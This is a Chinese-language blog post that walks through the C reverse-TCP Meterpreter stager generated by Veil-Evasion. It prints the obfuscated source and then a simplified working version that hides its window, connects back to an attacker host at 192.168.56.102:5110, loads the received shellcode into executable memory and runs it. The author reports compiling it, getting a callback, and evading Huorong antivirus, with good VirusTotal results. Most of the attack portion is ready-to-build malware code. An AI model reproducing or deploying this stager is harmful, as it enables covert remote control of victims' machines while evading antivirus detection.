1. 程式人生 > >簡單分析Veil-Evasion生成的攻擊載荷c/meterpreter/recv_tcp的被控端程式碼

簡單分析Veil-Evasion生成的攻擊載荷c/meterpreter/recv_tcp的被控端程式碼

簡單分析Veil-Evasion生成的攻擊載荷c/meterpreter/rev_tcp的被控端程式碼

Veil-Evasion簡介

Veil-Evasion是Veil專案(專案地址https://github.com/Veil-Framework/Veil)中的一個工具,用各種不同的語言生成攻擊載荷,然後通過編譯免殺,繞過防毒軟體。這是一個免殺工具,還提供了一些加殼程式。

Veil專案中還有一個工具,是Veil-Ordnance。這個工具可以用來生成shellcode,還有一個xor編碼器,但我沒怎麼用過。

簡單分析攻擊載荷c/meterpreter/rev_tcp的被控端程式碼

從github上下載Veil 3.0後,依照github上的指導進行安裝,然後執行安裝目錄下名為Veil.py

的python指令碼,根據提示選擇payload,我們這裡選擇c/meterpreter/recv_tcp這個payload,然後可以用metasploit來進行驗證。

Veil會生成被控端的程式碼,這是個反向shell,被控端需要主動連線攻擊機。

我的Kali攻擊機的IP是192.168.56.102,使用5110埠(TCP)作為監聽埠。

剛開始我們看到的C語言原始碼是這個樣子的:

c-1

這個程式碼看來是經過混淆的,程式碼格式和變數名都非常“亂”。

我們先對程式碼進行格式化,得到稍微能看一點的原始碼:


#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h> #include <time.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <windows.h> #include <math.h> #include <stdarg.h> char* ELPhvnk(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc
((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\0'; return t2; } char* oxImsmwTbcn(char* s) { char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++) { result[i] = s[i/2]; result[i+1]=s[i/2]; } result[i] = '\0'; return result; } void cvNGKT() { WORD XWPJfalPF = MAKEWORD((0*4+2), (0*4+2)); WSADATA diDuQXNFmNZTv; if (WSAStartup(XWPJfalPF, &diDuQXNFmNZTv) < 0) { WSACleanup(); exit(1); } } char* IrhXxkpgdSirgmd() { char *VTYrQkpq = ELPhvnk("dMjybHyCDGdyDYHjFxRJHePOysgMIrdtsPIJACQLjwQwMMaEHV"); return strstr( VTYrQkpq, "s" ); } void JQQYIn(SOCKET dQQjjbD) { closesocket(dQQjjbD); WSACleanup(); exit(1); } char* HdzfoS() { char NVGmZE[2940] = "xgqPMqbqLgbqKnTGxNOhRSTrPdNBDUuKKgxnvyybPjiAxSWLNg"; char *lCUrNPHXpM = strupr(NVGmZE); return strlwr(lCUrNPHXpM); } int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl) { int slfkmklsDSA=0; int rcAmwSVM=0; void * startb = mngpZHDHPakA; while (rcAmwSVM < xMumRzycXl) { slfkmklsDSA = recv(aNTeaiCAXmaMhX, (char *)startb, xMumRzycXl - rcAmwSVM, 0); startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA; if (slfkmklsDSA == SOCKET_ERROR) JQQYIn(aNTeaiCAXmaMhX); } return rcAmwSVM; } char* TEOHbyfIXj() { char irQRqbMDFFOiV[2940], TQJodSedKcBQ[2940/2]; strcpy(irQRqbMDFFOiV,"SrZFbAxiwfQYtzUOXzcJNYrpCduFtWmwnFtzlLXPiOdlEzQfEw"); strcpy(TQJodSedKcBQ,"NMYmTVYYVDWVDLCEBprcyjeoiTZqfbtjDbRUFJXkLDdkXyycss"); return oxImsmwTbcn(strcat( irQRqbMDFFOiV, TQJodSedKcBQ)); } SOCKET IpYbCHNOV() { struct hostent * CADnJpvtGkADG; struct sockaddr_in NCpJvOJAtp; SOCKET YJZKAxHbFLbgOb; YJZKAxHbFLbgOb = socket(AF_INET, SOCK_STREAM, 0); if (YJZKAxHbFLbgOb == INVALID_SOCKET) JQQYIn(YJZKAxHbFLbgOb); CADnJpvtGkADG = gethostbyname("192.168.56.102"); if (CADnJpvtGkADG == NULL) JQQYIn(YJZKAxHbFLbgOb); memcpy(&NCpJvOJAtp.sin_addr.s_addr, CADnJpvtGkADG->h_addr, CADnJpvtGkADG->h_length); NCpJvOJAtp.sin_family = AF_INET; NCpJvOJAtp.sin_port = htons((567*9+7)); if ( connect(YJZKAxHbFLbgOb, (struct sockaddr *)&NCpJvOJAtp, sizeof(NCpJvOJAtp)) ) JQQYIn(YJZKAxHbFLbgOb); return YJZKAxHbFLbgOb; } int main(int argc, char * argv[]) { ShowWindow( GetConsoleWindow(), SW_HIDE ); ULONG32 GbMtxZMJpvUG; char * AOnWmVQURLSv; int i; char* WRprInF[1160]; void (*LKMoAeoqcSLE)(); for (i = 0; i < 1160; ++i) WRprInF[i] = malloc (9816); cvNGKT(); char* GLEsyWODiOETsqn[6]; SOCKET PSWEfTlAWmQjz = IpYbCHNOV(); for (i = 0; i < 6; ++i) GLEsyWODiOETsqn[i] = malloc (8388); int MjrRXPBqQGgxTx = recv(PSWEfTlAWmQjz, (char *)&GbMtxZMJpvUG, (4*1+0), 0); if (MjrRXPBqQGgxTx != (2*2+0) || GbMtxZMJpvUG <= 0) JQQYIn(PSWEfTlAWmQjz); AOnWmVQURLSv = VirtualAlloc(0, GbMtxZMJpvUG + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE); char* OMybsEGA[8773]; for (i=0; i<1160; ++i) { strcpy(WRprInF[i], IrhXxkpgdSirgmd()); } if (AOnWmVQURLSv == NULL) JQQYIn(PSWEfTlAWmQjz); AOnWmVQURLSv[0] = 0xBF; memcpy(AOnWmVQURLSv + 1, &PSWEfTlAWmQjz, (4*1+0)); for (i = 0; i < 8773; ++i) OMybsEGA[i] = malloc (7764); for (i=0; i<6; ++i){ strcpy(GLEsyWODiOETsqn[i], HdzfoS()); } MjrRXPBqQGgxTx = PaBVzZ(PSWEfTlAWmQjz, AOnWmVQURLSv + (5*1+0), GbMtxZMJpvUG); LKMoAeoqcSLE = (void (*)())AOnWmVQURLSv;LKMoAeoqcSLE(); for (i=0; i<8773; ++i) { strcpy(OMybsEGA[i], TEOHbyfIXj()); } return 0; }

用IDE一鍵格式化就能得到這樣的結果,但這段程式碼依然很難讀懂,這些變數名都非常奇怪,而且還有一些莫名其妙的字串操作,實在讓人頭疼。

後來我經過一番探索,發現這些字串的操作完全是多餘的!,後門的基本功能完全不依賴與這些字串操作!!

真正起作用的只要下面這些程式碼,這裡貼出的程式碼我修改了變數名和函式名,讓同學們能看懂,精簡後的原始碼如下:


#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <math.h>
#include <stdarg.h>

/*
* 函式名:startupWSA()
* 作用:初始化WinSock服務
* 備註:對應veil原始程式中的void cvNGKT()函式
*
*/
void startupWSA() 
{
    WORD wVersionReq = MAKEWORD(2, 2); 
    WSADATA wsaData;
    if (WSAStartup(wVersionReq, &wsaData) < 0) { 
        WSACleanup(); 
        exit(1);
    }
}

/*
* 函式名:closeSocket
* 作用:關閉套接字
* 備註:對應veil原始程式中的void JQQYIn(SOCKET dQQjjbD)函式
*
*/

void closeSocket(SOCKET sock) 
{
    closesocket(sock);
    WSACleanup();
    exit(1);
}

/*
* 函式名:recvPayload
* 作用:接受Meterpreter的payload
* 備註:對應veil原始程式的int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl)函式
*
*/
int recvPayload(SOCKET sock, void * payloadBuf, int size) 
{
    int recvLen=0;
    int count=0;
    void * startb = payloadBuf;
    while (count < size) {
        recvLen = recv(sock, (char *)startb, size - count, 0);
        startb += recvLen; 
        count  += recvLen;
        if (recvLen == SOCKET_ERROR) 
            closeSocket(sock);
    } 
    return count; 
}

/*
* 函式名:createTCPSocket()
* 作用:建立socket套件字
* 備註:對應veil原始程式的SOCKET IpYbCHNOV()函式
*
*/

SOCKET createTCPSocket() 
{ 
    struct hostent * host; 
    struct sockaddr_in addr; 
    SOCKET sock;
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == INVALID_SOCKET) 
        closeSocket(sock);
    host = gethostbyname("192.168.56.102");   //控制端的IP地址
    if (host == NULL) 
        closeSocket(sock);
    memcpy(&addr.sin_addr.s_addr, host->h_addr, host->h_length);
    addr.sin_family = AF_INET;
    addr.sin_port = htons((5110));           //控制端的埠號
    if ( connect(sock, (struct sockaddr *)&addr, sizeof(addr)) ) 
        closeSocket(sock);

    return sock;
}

int main(int argc, char * argv[]) 
{
    ULONG32 size;
    char * payload;
    void (*pfunc)();

    //隱藏命令列視窗
    ShowWindow( GetConsoleWindow(), SW_HIDE );

    //建立套接字
    startupWSA();
    SOCKET sock = createTCPSocket();

    int recvLen = recv(sock, (char *)&size, 4, 0);
    if (recvLen != 4 || size <= 0) 
        closeSocket(sock);

    //為payload申請空間
    payload = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);


    if (payload == NULL) 
        closeSocket(sock);

    payload[0] = 0xBF;
    memcpy(payload + 1, &sock, 4);

    //接收payload並執行
    recvLen = recvPayload(sock, payload + 5, size);
    pfunc = (void (*)())payload;
    pfunc();


    return 0;
}

這段精簡化後的程式碼是可以使用的,我們在win7虛擬機器下用mingw編譯這個程式:

c-2

執行該程式,成功回連:

c-3

我不明白為啥Veil 3.1生成的C原始碼要有多餘的“字串”分配和操作,難道是為了免殺嗎?

提取核心部分的程式碼難道不能免殺嗎?我們來看看:

c-4

至少火絨安全查不出來。

放到virustotal上看一下吧,效果還不錯:

c-5

我不知道為啥Veil有那麼多“多餘的程式碼”,也許是為了免殺吧。雖然我沒法獨立寫後門程式,對Veil生成的C原始碼瞭解個大概還是沒問題的,可還有許多細節沒有弄明白。